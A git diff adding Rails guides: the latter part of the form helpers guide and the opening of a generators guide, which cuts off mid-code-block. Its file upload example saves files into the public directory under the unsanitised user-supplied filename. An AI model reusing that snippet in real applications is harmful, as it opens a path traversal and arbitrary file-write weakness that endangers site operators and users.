+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+```
+
+### Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
+
+```ruby
+# controller:
+@person = Person.new(city_id: 2)
+```
+
+```erb
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+```
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute.
+
+As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+```
+
+You can also pass a block to `select` helper:
+
+```erb
+<%= f.select(:city_id) do %>
+  <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+    <%= content_tag(:option, c.first, value: c.last) %>
+  <% end %>
+<% end %>
+```
+
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
+
+### Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+```erb
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+```
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:
+
+```erb
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+```
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
+
+```erb
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+```
+
+As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+<%= f.collection_select(:city_id, City.all, :id, :name) %>
+```
+
+To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
+
+NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
+
+### Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+
+```erb
+<%= time_zone_select(:person, :time_zone) %>
+```
+
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormOptionsHelper.html#method-i-time_zone_options_for_select) to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+
+Using Date and Time Form Helpers
+--------------------------------
+
+You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
+
+* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
+* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+### Barebones Helpers
+
+The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:
+
+```erb
+<%= select_date Date.today, prefix: :start_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+```
+
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example:
+
+```ruby
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+```
+
+The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.
+
+### Model Object Helpers
+
+`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+```erb
+<%= date_select :person, :birth_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+```
+
+which results in a `params` hash like
+
+```ruby
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+```
+
+When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
+
+### Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
+
+As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+### Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
+
+The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example:
+
+```erb
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+```
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
+
+Uploading Files
+---------------
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
+
+The following two forms both upload a file.
+
+```erb
+<%= form_tag({action: :upload}, multipart: true) do %>
+  <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+  <%= f.file_field :picture %>
+<% end %>
+```
+
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+
+### What Gets Uploaded
+
+The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
+
+```ruby
+def upload
+  uploaded_io = params[:person][:picture]
+  File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'wb') do |file|
+    file.write(uploaded_io.read)
+  end
+end
+```
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip).
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+### Dealing with Ajax
+
+Unlike other forms, making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+Customizing Form Builders
+-------------------------
+
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example:
+
+```erb
+<%= form_for @person do |f| %>
+  <%= text_field_with_label f, :first_name %>
+<% end %>
+```
+
+can be replaced with
+
+```erb
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+<% end %>
+```
+
+by defining a `LabellingFormBuilder` class similar to the following:
+
+```ruby
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  def text_field(attribute, options={})
+    label(attribute) + super
+  end
+end
+```
+
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option:
+
+```ruby
+def labeled_form_for(record, options = {}, &block)
+  options.merge! builder: LabellingFormBuilder
+  form_for record, options, &block
+end
+```
+
+The form builder used also determines what happens when you do
+
+```erb
+<%= render partial: f %>
+```
+
+If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead.
+
+Understanding Parameter Naming Conventions
+------------------------------------------
+
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create`
+action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+### Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains:
+
+```html
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+the `params` hash will contain
+
+```ruby
+{'person' => {'name' => 'Henry'}}
+```
+
+and `params[:person][:name]` will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example:
+
+```html
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+```
+
+will result in the `params` hash being
+
+```ruby
+{'person' => {'address' => {'city' => 'New York'}}}
+```
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form:
+
+```html
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+```
+
+This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers.
+
+### Combining Them
+
+We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment
+
+```html
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+```
+
+This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
+
+### Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+```erb
+<%= form_for @person do |person_form| %>
+  <%= person_form.text_field :name %>
+  <% @person.addresses.each do |address| %>
+    <%= person_form.fields_for address, index: address.id do |address_form|%>
+      <%= address_form.text_field :city %>
+    <% end %>
+  <% end %>
+<% end %>
+```
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+```html
+<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+```
+
+This will result in a `params` hash that looks like
+
+```ruby
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+```
+
+Rails knows that all these inputs should be part of the person hash because you
+called `fields_for` on the first form builder. By specifying an `:index` option
+you're telling Rails that instead of naming the inputs `person[address][city]`
+it should insert that index surrounded by [] between the address and the city.
+This is often useful as it is then easy to locate which Address record
+should be modified. You can pass numbers with some other significance,
+strings or even `nil` (which will result in an array parameter being created).
+
+To create more intricate nestings, you can specify the first part of the input
+name (`person[address]` in the previous example) explicitly:
+
+```erb
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+```
+
+will create inputs like
+
+```html
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+```
+
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so
+
+```erb
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+  <%= address_form.text_field :city %>
+<% end %>
+```
+
+produces exactly the same output as the previous example.
+
+Forms to External Resources
+---------------------------
+
+Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
+  Form contents
+<% end %>
+```
+
+Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
+  Form contents
+<% end %>
+```
+
+The same technique is also available for `form_for`:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+  Form contents
+<% end %>
+```
+
+Or if you don't want to render an `authenticity_token` field:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+  Form contents
+<% end %>
+```
+
+Building Complex Forms
+----------------------
+
+Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+
+### Configuring the Model
+
+Active Record provides model level support via the `accepts_nested_attributes_for` method:
+
+```ruby
+class Person < ApplicationRecord
+  has_many :addresses, inverse_of: :person
+  accepts_nested_attributes_for :addresses
+end
+
+class Address < ApplicationRecord
+  belongs_to :person
+end
+```
+
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
+
+### Nested Forms
+
+The following form allows a user to create a `Person` and its associated addresses.
+
+```html+erb
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+
+        <%= addresses_form.label :street %>
+        <%= addresses_form.text_field :street %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+```
+
+
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
+
+```ruby
+def new
+  @person = Person.new
+  2.times { @person.addresses.build}
+end
+```
+
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example, when creating a user with
+2 addresses, the submitted parameters would look like:
+
+```ruby
+{
+  'person' => {
+    'name' => 'John Doe',
+    'addresses_attributes' => {
+      '0' => {
+        'kind' => 'Home',
+        'street' => '221b Baker Street'
+      },
+      '1' => {
+        'kind' => 'Office',
+        'street' => '31 Spooner Street'
+      }
+    }
+  }
+}
+```
+
+The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
+
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
+
+### The Controller
+
+As usual you need to
+[whitelist the parameters](action_controller_overview.html#strong-parameters) in
+the controller before you pass them to the model:
+
+```ruby
+def create
+  @person = Person.new(person_params)
+  # ...
+end
+
+private
+  def person_params
+    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+  end
+```
+
+### Removing Objects
+
+You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for`
+
+```ruby
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+```
+
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
+
+```erb
+<%= form_for @person do |f| %>
+  Addresses:
+  <ul>
+    <%= f.fields_for :addresses do |addresses_form| %>
+      <li>
+        <%= addresses_form.check_box :_destroy%>
+        <%= addresses_form.label :kind %>
+        <%= addresses_form.text_field :kind %>
+        ...
+      </li>
+    <% end %>
+  </ul>
+<% end %>
+```
+
+Don't forget to update the whitelisted params in your controller to also include
+the `_destroy` field:
+
+```ruby
+def person_params
+  params.require(:person).
+    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+```
+
+### Preventing Empty Records
+
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
+
+```ruby
+class Person < ApplicationRecord
+  has_many :addresses
+  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+```
+
+As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.
+
+### Adding Fields on the Fly
+
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
new file mode 100644
index 0000000000..be1be75e7a
--- /dev/null
+++ b/guides/source/generators.md
@@ -0,0 +1,706 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Creating and Customizing Rails Generators & Templates
+=====================================================
+
+Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
+
+After reading this guide, you will know:
+
+* How to see which generators are available in your application.
+* How to create a generator using templates.
+* How Rails searches for generators before invoking them.
+* How Rails internally generates Rails code from the templates.
+* How to customize your scaffold by creating new generators.
+* How to customize your scaffold by changing generator templates.
+* How to use fallbacks to avoid overwriting a huge set of generators.
+* How to create an application template.
+
+--------------------------------------------------------------------------------
+
+First Contact
+-------------
+
+When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:
+
+```bash
+$ rails new myapp
+$ cd myapp
+$ bin/rails generate
+```
+
+You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
+
+```bash
+$ bin/rails generate helper --help
+```
+
+Creating Your First Generator
+-----------------------------
+
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+
+The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+```
+
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
+
+Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+
+To invoke our new generator, we just need to do:
+
+```bash
+$ bin/rails generate initializer
+```
+
+Before we go on, let's see our brand new generator description:
+
+```bash
+$ bin/rails generate initializer --help
+```
+
+Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+  desc "This generator creates an initializer file at config/initializers"
+  def create_initializer_file
+    create_file "config/initializers/initializer.rb", "# Add initialization content here"
+  end
+end
+```
+
+Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.
+
+Creating Generators with Generators
+-----------------------------------
+
+Generators themselves have a generator:
+
+```bash
+$ bin/rails generate generator initializer
+      create  lib/generators/initializer
+      create  lib/generators/initializer/initializer_generator.rb
+      create  lib/generators/initializer/USAGE
+      create  lib/generators/initializer/templates
+```
+
+This is the generator just created:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("templates", __dir__)
+end
+```
+
+First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.
+
+We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+
+```bash
+$ bin/rails generate initializer --help
+Usage:
+  rails generate initializer NAME [options]
+```
+
+We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.
+
+In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:
+
+```ruby
+# Add initialization content here
+```
+
+And now let's change the generator to copy this template when invoked:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+  source_root File.expand_path("templates", __dir__)
+
+  def copy_initializer_file
+    copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+  end
+end
+```
+
+And let's execute our generator:
+
+```bash
+$ bin/rails generate initializer core_extensions
+```
+
+We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
+
+The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
+
+Generators Lookup
+-----------------
+
+When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:
+
+```bash
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+```
+
+If none is found you get an error message.
+
+INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.
+
+Customizing Your Workflow
+-------------------------
+
+Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: true
+end
+```
+
+Before we customize our workflow, let's first see what our scaffold looks like:
+
+```bash
+$ bin/rails generate scaffold User name:string
+      invoke  active_record
+      create    db/migrate/20130924151154_create_users.rb
+      create    app/models/user.rb
+      invoke    test_unit
+      create      test/models/user_test.rb
+      create      test/fixtures/users.yml
+      invoke  resource_route
+       route    resources :users
+      invoke  scaffold_controller
+      create    app/controllers/users_controller.rb
+      invoke    erb
+      create      app/views/users
+      create      app/views/users/index.html.erb
+      create      app/views/users/edit.html.erb
+      create      app/views/users/show.html.erb
+      create      app/views/users/new.html.erb
+      create      app/views/users/_form.html.erb
+      invoke    test_unit
+      create      test/controllers/users_controller_test.rb
+      invoke    helper
+      create      app/helpers/users_helper.rb
+      invoke    jbuilder
+      create      app/views/users/index.json.jbuilder
+      create      app/views/users/show.json.jbuilder
+      invoke  assets
+      invoke    coffee
+      create      app/assets/javascripts/users.coffee
+      invoke    scss
+      create      app/assets/stylesheets/users.scss
+      invoke  scss
+      create    app/assets/stylesheets/scaffolds.scss
+```
+
+Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+
+If we want to avoid generating the default `app/assets/stylesheets/scaffolds.scss` file when scaffolding a new resource we can disable `scaffold_stylesheet`:
+
+```ruby
+  config.generators do |g|
+    g.scaffold_stylesheet false
+  end
+```
+
+The next customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds altogether. We can achieve that by changing our configuration to the following:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+end
+```
+
+If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+
+To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
+
+```bash
+$ bin/rails generate generator rails/my_helper
+      create  lib/generators/rails/my_helper
+      create  lib/generators/rails/my_helper/my_helper_generator.rb
+      create  lib/generators/rails/my_helper/USAGE
+      create  lib/generators/rails/my_helper/templates
+```
+
+After that, we can delete both the `templates` directory and the `source_root`
+class method call from our new generator, because we are not going to need them.
+Add the method below, so our generator looks like the following:
+
+```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+end
+```
+
+We can try out our new generator by creating a helper for products:
+
+```bash
+$ bin/rails generate my_helper products
+      create  app/helpers/products_helper.rb
+```
+
+And it will generate the following helper file in `app/helpers`:
+
+```ruby
+module ProductsHelper
+  attr_reader :products, :product
+end
+```
+
+Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+  g.orm             :active_record
+  g.template_engine :erb
+  g.test_framework  :test_unit, fixture: false
+  g.stylesheets     false
+  g.javascripts     false
+  g.helper          :my_helper
+end
+```
+
+and see it in action when invoking the generator:
+
+```bash
+$ bin/rails generate scaffold Article body:text
+      [...]
+      invoke    my_helper
+      create      app/helpers/articles_helper.rb
+```
+
+We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+
+Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
+
+To do that, we can change the generator this way:
+
+```ruby
+# lib/generators/rails/my_helper/my_helper_generator.rb
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+  def create_helper_file
+    create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+  attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+    FILE
+  end
+
+  hook_for :test_framework
+end
+```
+
+Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:
+
+```ruby
